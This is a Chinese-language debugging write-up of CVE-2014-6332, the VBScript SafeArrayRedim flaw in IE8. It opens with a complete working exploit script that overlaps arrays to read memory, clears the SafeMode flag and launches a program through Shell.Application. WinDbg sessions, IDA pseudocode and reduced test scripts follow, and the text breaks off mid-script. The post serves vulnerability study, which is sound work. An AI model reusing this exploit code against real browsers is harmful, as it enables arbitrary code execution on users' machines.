CVE-2014-6332调试

时间：2017-11-14 22:27:18 阅读：251 评论：0 收藏：0 [点我收藏+]

标签：size_t 索引目标 for imagelist csr pad 数据 cfa

调试环境： Win7SP1x32+IE8

一. POC

先给出完整POC，如果exploit成功，则会产出notepad

<!DOCTYPE html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8">
<body>
  CVE-2014-6332 exploit by yuange.
<SCRIPT LANGUAGE="VBScript">
function Runmumaa()  
  On Error Resume Next
  set shell=createobject("Shell.Application")
  shell.ShellExecute "notepad.exe"
end function
</script>

<SCRIPT LANGUAGE="VBScript">
dim aa()  
dim ab()
dim a0
dim a1
dim a2
dim a3
dim intVersion
dim myarray

Begin()

function Begin()  
  On Error Resume Next
  info=Navigator.UserAgent

  if (instr(info,"Win64")>0) then  
    exit function
  end if
  if (instr(info,"MSIE")>0) then
    intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
  else
    exit function
  end if

  BeginInit()
  if Create()=True then
    myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
    myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(00)  
    Setnotsafemode()
  end if
end function

function BeginInit()  
  Randomize()
  redim aa(5)
  redim ab(5)
  a0=13+17*rnd(6)
  a3=7+3*rnd(5)
end function

function Create()  
  On Error Resume Next
  dim i
  Create=False
  for i = 0 to 400
    if Over()=True then
      Create=True
      exit for
    end if
  next
end function

sub testaa()
end sub

function Mydata()  
  On Error Resume Next
  i=testaa
  i=null

  redim Preserve aa(a2)
  ab(0)=0
  aa(a1)=i
  ab(0)=6.36598737437801E-314  
  aa(a1+2)=myarray
  ab(2)=1.74088534731324E-310  
  Mydata=aa(a1)
  redim Preserve aa(a0)
end function

function Setnotsafemode()
  On Error Resume Next
  i=Mydata()  
  i=ReadMemo(i+8)
  i=ReadMemo(i+16)  

  for k=0 to &h60 step 4  
    j=ReadMemo(i+&h120+k)
    if (j=14) then
      redim Preserve aa(a2)
      aa(a1+2)(i+&h11c+k)=ab(4)  
      redim Preserve aa(a0)
      exit for
    end if
  next

  ab(2)=1.69759663316747E-313  
  Runmumaa()
end function

function Over()  
  On Error Resume Next
  dim type1
  Over=False
  a0=a0+a3
  a1=a0+2
  a2=a0+&h8000000
  redim Preserve aa(a0)
  redim ab(a0)

  redim Preserve aa(a2)  
  type1=1
  ab(0)=1.012345678901234567890123456789  
  aa(a0)=10

  if (IsObject(aa(a1-1)) = False) then
    if (VarType(aa(a1-1))<>0) then
      if (IsObject(aa(a1)) = False) then
        type1=VarType(aa(a1))
      end if
    end if
  end if
  if (type1=&h0b24) then  
    Over=True
  end if
  redim Preserve aa(a0)  
end function

function ReadMemo(add)  
  On Error Resume Next
  redim Preserve aa(a2)
  ab(0)=0
  aa(a1)=add+4
  ab(0)=1.69759663316747E-313  
  ReadMemo=lenb(aa(a1))  
  ab(0)=0
  redim Preserve aa(a0)
end function
</script>
</body>
</html>

View Code

二. GodMode 模式

VBScript在IE浏览器中的权限很低，正常情况下如下代码是无法弹出计算器的，此受限模式是通过SafeMode标识来控制的。

IE通过COleScript::InSafeMode(void)来检查程序是否运行在SafeMode下，此标识的默认值是0xE。此CVE正是通过修改SafeMode标识升级为GodMode，从而为所欲为。

<html>
    <script LANGUAGE="VBScript">
        function runmumaa() 
            On Error Resume Next
            set shell=createobject("Shell.Application")
            shell.ShellExecute "calc.exe"
        end function
        runmumaa()
    </script>
<html>

通过IDA可以查看COleScript::InSafeMode(void)的逻辑如下：

技术分享

使用Windbg调试，断点：bu vbscript!COleScript::InSafeMode

0:005> dd ecx+174 L1
0049fbb4  0000000e
0:005> ln poi(ecx)
(67ee4868)   vbscript!COleScript::`vftable‘   |  (67effdbc)   vbscript!`string‘
Exact matches:
    vbscript!COleScript::`vftable‘ = <no type information>

以上可以得出两点信息：1) SafeMode标识此时为0xE; 2) SafeMode标识存放在 vbscript!COleScript对象偏移0x174处

手动更改SafeMode标识为0x0， Disable 断点，弹出计算器成功！

0:005> eb ecx+174 0
0:005> dd ecx+174 L1
0049fbb4  00000000
0:005> bd *
0:005> g
ModLoad: 71220000 71223000   C:\Windows\system32\sfc.dll
ModLoad: 71210000 7121d000   C:\Windows\system32\sfc_os.DLL
(794.820): Break instruction exception - code 80000003 (first chance)
eax=7ffd8000 ebx=00000000 ecx=00000000 edx=77dcf125 esi=00000000 edi=00000000
eip=77d640f0 esp=05e3f9f8 ebp=05e3fa24 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!DbgBreakPoint:
77d640f0 cc              int     3

技术分享

三. 变量结构

修改SafeMode标识后可以为所欲为，那么如何达到这一目标呢？先来了解下VBS变量、数组的结构，这是后面exploit的基础。

这里我们反复会用到一个调试技巧，即IsEmpty函数，通过它我们来观察变量，IsEmpty第一个参数即为code中传入的变量。设断点：bu vbscript!VbsIsEmpty

<html>
    <script LANGUAGE="VBScript">
        On Error Resume Next
        dim int1, str1, f1
        dim arr1(6)
        int1 = &h11223344
        IsEmpty(int1)

        str1 = "AABBCCDD"
        IsEmpty(str1)

        f1 = 1.123456789012345678901234567890
        IsEmpty(f1)

        arr1(0) = &h11223344
        arr1(1) = "AABBCCDD"
        IsEmpty(arr1)
        
    </script>
<html>

0:005> dd poi(esp+c) L4
012b5cf8  00000003 00000000 11223344 00000000  --> 0003是VarType, 这里是Long Integer; 000000000000是保留字段；11223344正好对应int1的内容

参考文献[2]中给出了一张图，描述了 VARIANT的结构，如下所示，我们进一步看看其他变量类型。

技术分享

详细的VarType取值可以参考 https://msdn.microsoft.com/en-us/library/aa263402(v=vs.60).aspx

但MSDN并没有列出所有的情况，多一些的可以参考 http://www.secniu.com/how-to-use-vbscript-to-turn-on-the-god-mode/

0:005> g
Breakpoint 0 hit
eax=6bde185c ebx=0204d02c ecx=6be3a9d8 edx=0204cfa4 esi=0176551c edi=00000001
eip=6bdfc206 esp=0204cec0 ebp=0204ced0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6bdfc206 8bff            mov     edi,edi
0:005> dd poi(esp+c) L4
017635c0  0000004a 00000000 01765ef0 00000000
0:005> dd 01765ef0 
01765ef0  00000008 00000000 0051fae4 00000000  --> 0008 vbString类型，对应str1
01765f00  00000000 00000000 38934f9e 0002ed9c
01765f10  01763648 003cffd8 00000000 00000000
01765f20  00000000 00000000 00000000 00000000
01765f30  00000000 00000000 00000000 00000000
01765f40  00000000 00000000 00000000 00000000
01765f50  00000000 00000000 00000000 00000000
01765f60  00000000 00000000 00000000 00000000
0:005> dU 0051fae4 
0051fae4  "AABBCCDD"
0:005> g
Breakpoint 0 hit
eax=6bde185c ebx=0204d02c ecx=6be3a9d8 edx=0204cfa4 esi=0176551c edi=00000001
eip=6bdfc206 esp=0204cec0 ebp=0204ced0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6bdfc206 8bff            mov     edi,edi
0:005> dd poi(esp+c) L4
017635c0  00000005 00000000 d3746f66 3ff1f9ad ---> 0005 vbDouble类型, 对应f1
0:005> dD 017635c0+8 L1
017635c8           1.12345678901

再看看SafeArray的结构

0:005> g
Breakpoint 0 hit
eax=6bde185c ebx=0204d02c ecx=6be3a9d8 edx=0204cfa4 esi=0176551c edi=00000001
eip=6bdfc206 esp=0204cec0 ebp=0204ced0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6bdfc206 8bff            mov     edi,edi
0:005> dd poi(esp+c)
017635c0  003c600c 00000000 017659e0 00505668  
017635d0  0000400c 00000000 017659d4 00000000
017635e0  0000400c 00000000 003cfe4c 00000000
017635f0  0000400c 00000000 003cfe10 00000000
01763600  0000400c 00000000 003cfdd4 00000000
01763610  00000000 00000000 00000000 00000000
01763620  00000000 00000000 00000000 00000000
01763630  00000000 00000000 00000000 00000000
0:005> dd 00505668
00505668  08920001 00000010 00000000 004d5748 --> 00505668开始的0x18个字节就是SafeArray： 0001表示数组是1维；004d5748是数据buffer，真正放内容的地方；
00505678  00000007 00000000 43303c93 8c005496 --> 00000007表示第一维元素个数；00000000表示第一维起始下标
00505688  00000000 fa445657 00140004 005056b8
00505698  fa445657 11d69379 06001ab4 53ee835b
005056a8  00000000 00000000 43303c95 88000892
005056b8  76542778 76546674 765467c8 00000001
005056c8  fa445657 11d69379 06001ab4 53ee835b
005056d8  00000000 00000001 43303c9f 8800218c
0:005> dd 004d5748
004d5748  00000003 00000000 11223344 3ff1f9ad --> 可以看到熟悉的VARIANT结构
004d5758  00000008 00000000 0051fae4 0204cfd4
004d5768  00000000 00000000 00000000 00000000
004d5778  00000000 00000000 00000000 00000000
004d5788  00000000 00000000 00000000 00000000
004d5798  00000000 00000000 00000000 00000000
004d57a8  00000000 00000000 00000000 00000000
004d57b8  433390f4 8000006c 00b1005c 00000000

技术分享

四. Get ColeCscript Objet

了解完基本变量结构后，我们回到SafeMode标识的问题。通过第二部分，我们知道SafeMode标识存放在 vbscript!COleScript对象偏移0x174处。那如何得到一个 vbscript!COleScript对象呢？

<html>
    <script LANGUAGE="VBScript">
        On Error Resume Next  
        
        sub testaa()
        end sub
        
        dim i
        IsEmpty("Try to get ColeCscript")
        i = testaa
        i = null
        IsEmpty(i)
        
    </script>
<html>

这里插入一个求值栈的概念，VBScript中，像赋值、求值操作，都会用一个求值栈来保存中间变量及临时结果。

如上面的 "Try to get ColeCscript"，就是先保存为一个中间vbstring变量给IsEmpty()函数；对i的赋值也是先对求值栈中的variant操作，最后赋值给i。每次调试时，求值栈的地址是固定的(这一点可以从上面的调试过程中看出)。

0:018> g
ModLoad: 6a880000 6a8eb000   C:\Windows\system32\vbscript.dll
Breakpoint 0 hit
eax=6a88185c ebx=01d8d4e4 ecx=6a8da9d8 edx=01d8d45c esi=01f7559c edi=00000001
eip=6a89c206 esp=01d8d378 ebp=01d8d388 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6a89c206 8bff            mov     edi,edi
0:005> dd poi(esp+c)
01f75ec0  00000008 00000000 01f75564 00000000 --> 01f75ec0即为求值栈的地址
01f75ed0  0000400c 00000000 0029fdc4 00000000
01f75ee0  00000000 00000000 00000000 00000000
01f75ef0  00000000 00000000 00000000 00000000
01f75f00  00000000 00000000 00000000 00000000
01f75f10  7ef1abcb 00029fa0 01f73058 0029ffb8
01f75f20  00000000 00000000 00000000 00000000
01f75f30  00000000 00000000 00000000 00000000
0:005> du 01f75564 
01f75564  "Try to get ColeCscript"
0:005> ba w4 01f75ec0+8                      --> 下硬件断点，当Variant的Data内容被改变时断下             
0:005> g
Breakpoint 1 hit
eax=00000000 ebx=01d8d514 ecx=01f72010 edx=01f7554c esi=0029fd90 edi=01f75ecc
eip=6a882b26 esp=01d8d33c ebp=01d8d344 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
vbscript!NameTbl::GetAdrCore+0x2d:
6a882b26 a5              movs    dword ptr es:[edi],dword ptr [esi] es:0023:01f75ecc=00000000 ds:0023:0029fd90=0b00000b
0:005> dd 01f75ec0 L4
01f75ec0  0000004c 00000080 0029ff90 00000000 -->VarType是004c,标识VT_FUNC，0029ff90是一个vbscript!CScriptEntryPoint对象地址
0:005> ln poi(0029ff90)
(6a884934)   vbscript!CScriptEntryPoint::`vftable‘   |  (6a89ab54)   vbscript!CEntryPointDispatch::`vftable‘
Exact matches:
    vbscript!CScriptEntryPoint::`vftable‘ = <no type information>
0:005> bc 1
0:005> g
Breakpoint 0 hit
eax=6a88185c ebx=01d8d4e4 ecx=6a8da9d8 edx=01d8d45c esi=01f7559c edi=00000001
eip=6a89c206 esp=01d8d378 ebp=01d8d388 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6a89c206 8bff            mov     edi,edi
0:005> dd 01f75ec0 L4
01f75ec0  00000001 00000080 0029ff90 0b00000b --> 最终i的类型为0001（Null），数据区域是vbscript!CScriptEntryPoint对象地址
0:005> ln poi(0029ff90)
(6a884934)   vbscript!CScriptEntryPoint::`vftable‘   |  (6a89ab54)   vbscript!CEntryPointDispatch::`vftable‘
Exact matches:
    vbscript!CScriptEntryPoint::`vftable‘ = <no type information>

0:005> dd 0029ff90
0029ff90  6a884934 00000001 0029ff20 01f75508
0029ffa0  01f75878 00000000 0029ff20 0029fb68
0029ffb0  62f1abd7 00009f69 01f75f18 002900c4
0029ffc0  0029ebb8 00292f00 00000000 00000000
0029ffd0  00000000 00000000 00000000 00000000
0029ffe0  61f0abd5 03009f6a 00000000 00000000
0029fff0  00290038 00290038 002a0000 00000000
002a0000  f95543e7 0100306d ffeeffee 00000000
0:005> dd 0029ff20 
0029ff20  00000005 00000000 00000000 00000000 --> 查看CScriptEntryPoint对象偏移8字节处地址的内容
0029ff30  0029f8a0 00000000 0029fa78 00292f00
0029ff40  01f75508 01f75508 66f0abd2 0c009f6a
0029ff50  00000008 00000000 0029ff20 00000021
0029ff60  60f0abd4 08009f6f 6a884934 00000002
0029ff70  0029ff20 01f75508 01f75804 00000000
0029ff80  0029ff20 0029fb68 60f0abd4 08009f69
0029ff90  6a884934 00000001 0029ff20 01f75508
0:005> ln poi(0029f8a0)
(6a884868)   vbscript!COleScript::`vftable‘   |  (6a89fdbc)   vbscript!`string‘  --> 该地址偏移0x10字节，就是一个ColeScript对象
Exact matches:
    vbscript!COleScript::`vftable‘ = <no type information>
0:005> dd 0029f8a0+174 L4
0029fa14  0000000e 00000000 00000000 00000000  --> ColeScript对象偏移0x174字节，就是SafeMode标识。所以通过CSriptEntryPoint就可以关联到ColeScript对象

通过调试过程，我们再来理解下上面的html code。

1) 当用函数地址testaa对i赋值时，求值栈更新了VarType和Data, 但却不会赋值给i，求值栈内容还保留

2)下一步用null对i赋值时，只更新了求值栈中的VarType，并不需要取Data。从而把VarType=Null, Data为CSriptEntryPoint对象地址的VARIANT给了i。

五. SafeArrayRedim

接下来就真正是漏洞所在的部分了

<html>
    <SCRIPT LANGUAGE="VBScript">
        On Error Resume Next
        dim aa()
        redim aa(5)
        aa(0) = &h11223344
        aa(1) = &h11223344
        IsEmpty(aa)
        
        redim Preserve aa(5+&h8000000)
        IsEmpty(aa)

    </script>
<html>

0:018> g
ModLoad: 6bdf0000 6be5b000   C:\Windows\system32\vbscript.dll
Breakpoint 0 hit
eax=6bdf185c ebx=0209d584 ecx=6be4a9d8 edx=0209d4fc esi=00b56500 edi=00000001
eip=6be0c206 esp=0209d418 ebp=0209d428 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6be0c206 8bff            mov     edi,edi
0:005> dd poi(poi(esp+c)+c)
004c8388  08800001 00000010 00000000 004fa2a0 --> Array的数据放在004fa2a0处，数组长度是00000006
004c8398  00000006 00000000 6df39936 8c000000
004c83a8  03bf0ac4 03bf0ac0 004cdc40 6a43eee1
004c83b8  6a4230da 0000005c 00000058 00000008
004c83c8  00000001 00000000 6df39938 88000000
004c83d8  6a76bdc8 00000000 6a405d74 004b8088
004c83e8  6a405b60 00000000 00000000 00000000
004c83f8  03000004 00000000 6df399c2 80000000
0:005> g
Breakpoint 0 hit
eax=6bdf185c ebx=0209d584 ecx=6be4a9d8 edx=0209d4fc esi=00b56500 edi=00000001
eip=6be0c206 esp=0209d418 ebp=0209d428 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6be0c206 8bff            mov     edi,edi
0:005> dd poi(poi(esp+c)+c)
004c8388  08800001 00000010 00000000 004fa2a0 --> Array的数据仍放在004fa2a0处，但数组长度却变成了08000006。一个VARIANT 0x10字节，因此数组占0x80000060字节
004c8398  08000006 00000000 6df39936 8c000000 --> 一个VARIANT 0x10字节，因此Array数据buffer占0x80000060字节，32位进程用户最大寻址空间也只到0x7fffffff字节。而且buffer地址没有变，猜测在Redim的时候，只改变了大小，并没有重新分配空间。
004c83a8  03bf0ac4 03bf0ac0 004cdc40 6a43eee1
004c83b8  6a4230da 0000005c 00000058 00000008
004c83c8  00000001 00000000 6df39938 88000000
004c83d8  6a76bdc8 00000000 6a405d74 004b8088
004c83e8  6a405b60 00000000 00000000 00000000
004c83f8  03000004 00000000 6df399c2 80000000

通过以上分析，我们来看看VBScript的Redim到底发生了什么吧。

0:005> x *!*redim*
6be05891 vbscript!RedimPreserveArray = <no type information>
6d2f114b IEFRAME!CSharedImageList<42514>::GetToolbar = <no type information>
6d071d90 IEFRAME!_imp__SafeArrayRedim = <no type information>
6d1f5c50 IEFRAME!CSharedImageList<42514>::`vftable‘ = <no type information>
6d2f0488 IEFRAME!CSharedImageList<634>::`vector deleting destructor‘ = <no type information>
6d1f5c64 IEFRAME!CSharedImageList<42497>::`vftable‘ = <no type information>
6d1f5c6c IEFRAME!CSharedImageList<42498>::`vftable‘ = <no type information>
6d1f5c68 IEFRAME!CSharedImageList<42496>::`vftable‘ = <no type information>
6d2f0a21 IEFRAME!CSharedImageList<700>::CSharedImageList<700> = <no type information>
6d1f5c54 IEFRAME!CSharedImageList<635>::`vftable‘ = <no type information>
6d1f5c58 IEFRAME!CSharedImageList<700>::`vftable‘ = <no type information>
6d2f0488 IEFRAME!CSharedImageList<634>::`scalar deleting destructor‘ = <no type information>
6d1f5c60 IEFRAME!CSharedImageList<636>::`vftable‘ = <no type information>
6d2f128f IEFRAME!CSharedImageList<42498>::GetSimple = <no type information>
6d2f0b0f IEFRAME!CSharedImageList<635>::`scalar deleting destructor‘ = <no type information>
6d2f0ae9 IEFRAME!CSharedImageList<700>::`scalar deleting destructor‘ = <no type information>
6d2f110b IEFRAME!CSharedImageList<700>::GetToolbar = <no type information>
6d2f1227 IEFRAME!CSharedImageList<42497>::GetSimple = <no type information>
6d2f0b35 IEFRAME!CSharedImageList<636>::`scalar deleting destructor‘ = <no type information>
6d1f5c5c IEFRAME!CSharedImageList<634>::`vftable‘ = <no type information>
6d2f0a6c IEFRAME!CSharedImageList<634>::CSharedImageList<634> = <no type information>
6d2f125b IEFRAME!CSharedImageList<42496>::GetSimple = <no type information>
6d2f0b0f IEFRAME!CSharedImageList<635>::`vector deleting destructor‘ = <no type information>
6d2f0a85 IEFRAME!CSharedImageList<636>::CSharedImageList<636> = <no type information>
6d2f0a53 IEFRAME!CSharedImageList<635>::CSharedImageList<635> = <no type information>
6d2f0ae9 IEFRAME!CSharedImageList<700>::`vector deleting destructor‘ = <no type information>
6d2f0b35 IEFRAME!CSharedImageList<636>::`vector deleting destructor‘ = <no type information>
6d2f04d4 IEFRAME!CSharedImageList<42496>::`scalar deleting destructor‘ = <no type information>
6d2f0b5b IEFRAME!CSharedImageList<42498>::`scalar deleting destructor‘ = <no type information>
6d2f04ae IEFRAME!CSharedImageList<42497>::`scalar deleting destructor‘ = <no type information>
6d2f0462 IEFRAME!CSharedImageList<42514>::`vector deleting destructor‘ = <no type information>
6d2f04d4 IEFRAME!CSharedImageList<42496>::`vector deleting destructor‘ = <no type information>
6d2f0b5b IEFRAME!CSharedImageList<42498>::`vector deleting destructor‘ = <no type information>
6d2f04ae IEFRAME!CSharedImageList<42497>::`vector deleting destructor‘ = <no type information>
6d2f0462 IEFRAME!CSharedImageList<42514>::`scalar deleting destructor‘ = <no type information>
6d2f0a9e IEFRAME!CSharedImageList<42497>::CSharedImageList<42497> = <no type information>
6d2f0ad0 IEFRAME!CSharedImageList<42498>::CSharedImageList<42498> = <no type information>
6d2f0a3a IEFRAME!CSharedImageList<42514>::CSharedImageList<42514> = <no type information>
6d2f11f3 IEFRAME!CSharedImageList<636>::GetSimple = <no type information>
6d2f118b IEFRAME!CSharedImageList<635>::GetSimple = <no type information>
6d2f0ab7 IEFRAME!CSharedImageList<42496>::CSharedImageList<42496> = <no type information>
6d2f11bf IEFRAME!CSharedImageList<634>::GetSimple = <no type information>
74477c21 comctl32!CToolbar::_AddCenteredImagelistToImageList = <no type information>
7670ec2c OLEAUT32!SafeArrayRedim = <no type information>
76bf4668 SHELL32!ImageList_LoadMirroredImage = <no type information>

通过查找符号表，和redim相关的函数有两个： vbscript!RedimPreserveArray 和 OLEAUT32!SafeArrayRedim

不过进一步发现 vbscript!RedimPreserveArray最终会调用 OLEAUT32!SafeArrayRedim，在调用 OLEAUT32!SafeArrayRedim之前，数组的长度并没有变成 0x08000006。所以不出意外，问题就是出现在OLEAUT32!SafeArrayRedim中了。

上IDA！！！函数太长，看汇编跪了，先看得伪代码。

HRESULT __stdcall SafeArrayRedim(SAFEARRAY *psa, SAFEARRAYBOUND *psaboundNew)
{
  SAFEARRAY *v2; // esi@1
  USHORT v3; // cx@3
  __int32 v4; // eax@6
  signed int v5; // ebx@6
  ULONG v6; // ebx@9
  LONG v7; // edi@9
  unsigned int v8; // eax@9
  struct IMalloc *v9; // edi@11
  SAFEARRAY *v10; // eax@14
  int v11; // eax@17
  SAFEARRAYBOUND *v13; // eax@38
  ULONG v14; // [sp+Ch] [bp-18h]@9
  LONG v15; // [sp+10h] [bp-14h]@9
  struct IMalloc *v16; // [sp+14h] [bp-10h]@6
  int v17; // [sp+18h] [bp-Ch]@3
  unsigned int v18; // [sp+1Ch] [bp-8h]@9
  size_t Size; // [sp+20h] [bp-4h]@7
  SAFEARRAY *psaa; // [sp+2Ch] [bp+8h]@6
  SAFEARRAYBOUND *psaboundNewa; // [sp+30h] [bp+Ch]@38

  v2 = psa;
  if ( psa )
  {
    if ( psaboundNew )
    {
      v3 = psa->fFeatures;
      v17 = psa->fFeatures & 0x2000;
      if ( psa->cDims )
      {
        if ( psa->cLocks > 0 || v3 & 0x10 )
          return -2147352563;
        psaa = 0;
        v16 = 0;
        v4 = GetMalloc(&v16);
        v5 = v4;
        if ( v4 && v4 < 0 )
          return v5;
        Size = SafeArraySize(v2);              --> 得到原始数组size
        if ( !Size || v2->pvData )
        {
          v6 = v2->rgsabound[0].cElements;    --> 保存原始数组长度
          v7 = v2->rgsabound[0].lLbound;      -->保存原始数组起始下标
          v2->rgsabound[0] = *psaboundNew;    -->(!!!)将数组长度更改为新的值，在还未申请内存前
          v14 = v6;
          v15 = v7;
          v8 = SafeArraySize(v2);            --> 得到新数组长度
          v18 = v8;
          if ( v8 == -1 )
          {
            v2->rgsabound[0].cElements = v6;
            v2->rgsabound[0].lLbound = v7;
            v5 = -2147024882;
          }
          else
          {
            v5 = v8 - Size;                --> 0x80000060-0x00000060=0x80000000
            if ( v8 != Size )
            {
              v9 = v16;
              if ( v5 < 0 && v2->fFeatures & 0xF20 )  --> 这里使用了jge指令，相当于按有符号数比较，但数组长度其实是ULONG类型。从而进入了v5<0的分支
              {
                if ( v17 )
                {
                  psaa = (SAFEARRAY *)((char *)v2->pvData + v8);
                }
                else
                {
                  v10 = (SAFEARRAY *)v16->lpVtbl->Alloc(v16, -v5);  --> 重新申请内存
                  psaa = v10;
                  if ( !v10 )                                       --> 申请失败，跳转到LABEL_32
                    goto LABEL_32;
                  memcpy(v10, (char *)v2->pvData + v18, -v5);
                  v8 = v18;
                }
              }
              if ( v17 )
              {
                if ( v8 <= Size )
                  goto LABEL_19;
                v13 = (SAFEARRAYBOUND *)v9->lpVtbl->Alloc(v9, v8);
                psaboundNewa = v13;
                if ( v13 )
                {
                  memcpy(v13, v2->pvData, Size);
                  v2->pvData = psaboundNewa;
                  v2->fFeatures &= 0xDFFFu;
                  goto LABEL_19;
                }
              }
              else
              {
                v11 = (int)v9->lpVtbl->Realloc(v9, v2->pvData, v8);
                if ( v11 )
                {
LABEL_18:
                  v2->pvData = (PVOID)v11;
LABEL_19:
                  if ( v5 >= 0 )
                  {
                    memset((char *)v2->pvData + Size, 0, v5);
                  }
                  else
                  {
                    if ( psaa )
                      ReleaseResources(v2, (VARIANTARG *)psaa, -v5, v2->fFeatures, v2->cbElements);
                    if ( v17 )
                      psaa = 0;
                  }
                  v5 = 0;
                  goto LABEL_25;
                }
                if ( !v18 )
                {
                  v11 = (int)v9->lpVtbl->Alloc(v9, 0);
                  goto LABEL_18;
                }
              }
              v2->rgsabound[0].cElements = v14;
              v2->rgsabound[0].lLbound = v15;
LABEL_32:
              v5 = -2147024882;                       --> v5=0x8007000E 
LABEL_25:
              if ( psaa )
                v9->lpVtbl->Free(v9, psaa);
              return v5;                             --> 返回0x8007000E
            }
          }
          return v5;                                 
        }
      }
    }
  }
  return -2147024809;
}

可以设断点跟一下上述过程，这里就不详细展开了。当数组索引越界，后面就简单了。

六、Array Overlap

了解了漏洞原理之后，现在到了最奇妙的构造内存布局的过程了。

<!DOCTYPE html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8">
<body>
  CVE-2014-6332 exploit by yuange.

<SCRIPT LANGUAGE="VBScript">
dim aa()  
dim ab()
dim a0
dim a1
dim a2
dim a3
dim intVersion
dim myarray

Begin()

function Begin()  
  On Error Resume Next
  BeginInit()
  if Create()=True then
  end if
end function

function BeginInit()  
  Randomize()
  redim aa(5)
  redim ab(5)
  a0=13+17*rnd(6)
  a3=7+3*rnd(5)
end function

function Create()  
  On Error Resume Next
  dim i
  Create=False
  for i = 0 to 400
    if Over()=True then
      Create=True
      exit for
    end if
  next
end function

function Over()  
  On Error Resume Next
  dim type1
  Over=False
  a0=a0+a3
  a1=a0+2
  a2=a0+&h8000000
  redim Preserve aa(a0)
  redim ab(a0)

  redim Preserve aa(a2)  
  type1=1
  ab(0)=1.012345678901234567890123456789  
  aa(a0)= 10

  if (IsObject(aa(a1-1)) = False) then
    if (VarType(aa(a1-1))<>0) then
      if (IsObject(aa(a1)) = False) then
        type1=VarType(aa(a1))
      end if
    end if
  end if
  if (type1=&h0b24) then  
    IsEmpty(aa)
    IsEmpty(ab)
    Over=True
  end if
  redim Preserve aa(a0)  
end function

</script>
</body>
</html>

循环申请堆空间，期望的内存布局如下(图源于参考文献[2])：

技术分享

0:011> g
ModLoad: 6c9e0000 6ca4b000   C:\Windows\system32\vbscript.dll
Breakpoint 0 hit
eax=6c9e185c ebx=01ecc8b0 ecx=6ca3a9d8 edx=01ecc828 esi=01ee6604 edi=00000001
eip=6c9fc206 esp=01ecc744 ebp=01ecc754 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6c9fc206 8bff            mov     edi,edi
0:004> dd poi(poi(esp+c)+c)
0025e7d8  08800001 00000010 00000000 00262758
0025e7e8  0800001d 00000000 01f6c8cd 88002020
0025e7f8  69f82010 00000003 00000008 00000000
0025e808  00000000 00281068 00000052 80006200
0025e818  00000006 00238b88 01f6c937 80000d74
0025e828  6a380002 00000000 6a007be0 0022d4d0
0025e838  6a01e360 00000000 00000000 00000000
0025e848  02000008 6a01e200 01f6c939 80005220
0:004> g
Breakpoint 0 hit
eax=6c9e185c ebx=01ecc8b0 ecx=6ca3a9d8 edx=01ecc828 esi=01ee6604 edi=00000001
eip=6c9fc206 esp=01ecc744 ebp=01ecc754 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6c9fc206 8bff            mov     edi,edi
0:004> dd poi(poi(esp+c)+c)
0025e598  08800001 00000010 00000000 00262930 
0025e5a8  0000001d 00000000 01f6c885 80007474
0025e5b8  6a380008 00000000 6a007be0 00253d70
0025e5c8  6a009e30 001e5010 69f85320 00000007
0025e5d8  00000003 00000000 01f6c88f 80003845
0025e5e8  6a380032 00000000 6a007be0 00253d70
0025e5f8  6a009ec4 001e5010 69f85320 00000007
0025e608  00000006 00000000 01f6c8f1 88000a0d

0:004> dD 00262938 l1
00262938 1.0123456789

0:004> ?00262758+0x10*1d
Evaluate expression: 2500904 = 00262928
0:004> ?00262928+0x8
Evaluate expression: 2500912 = 00262930  --> 看，aa(a0)与ab(0)就差8个字节堆指针

程序是如何判断aa, ab符合这个结构的呢？对 ab(0)=1.012345678901234567890123456789，aa(a1)的VarType刚好是0x0b24，以此为判断依据。

在这种情况下，aa与ab是错位重叠的，aa的数据区域是ab的VarType区域，ab的VarType正是aa的数据区域。

          0:004> dd 00262930-0x18
aa(a0)    00262918  00000002 00000000 61f2000a 3ff03291
aa(a1-1)  00262928  2bb8897e 0800fe7b 00000005 00000000  ab(0)
aa(a1)    00262938  61f20b24 3ff03291 00000000 00000000  ab(1)
aa(a1+1)  00262948  00000000 00000000 00000000 00000000  ab(2)
aa(a1+2)  00262958  00000000 00000000 00000000 00000000  ab(3)
          00262968  00000000 00000000 00000000 00000000
          00262978  00000000 00000000 00000000 00000000
          00262988  00000000 00000000 00000000 00000000
          
          0:004> dD 00262938 l1
          00262938            1.0123456789

六、Change SafeMode

构造了以上精妙的内存布局后，就要开始更改SafeMode标识了，在poc代码中加入了很多IsEmpty，便于调试。当一个部分调试完之后，可以用注释掉相应的IsEmpty，免得中断多次windbg

<!DOCTYPE html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8">
<body>
  CVE-2014-6332 exploit by yuange.
<SCRIPT LANGUAGE="VBScript">
function Runmumaa()  
  On Error Resume Next
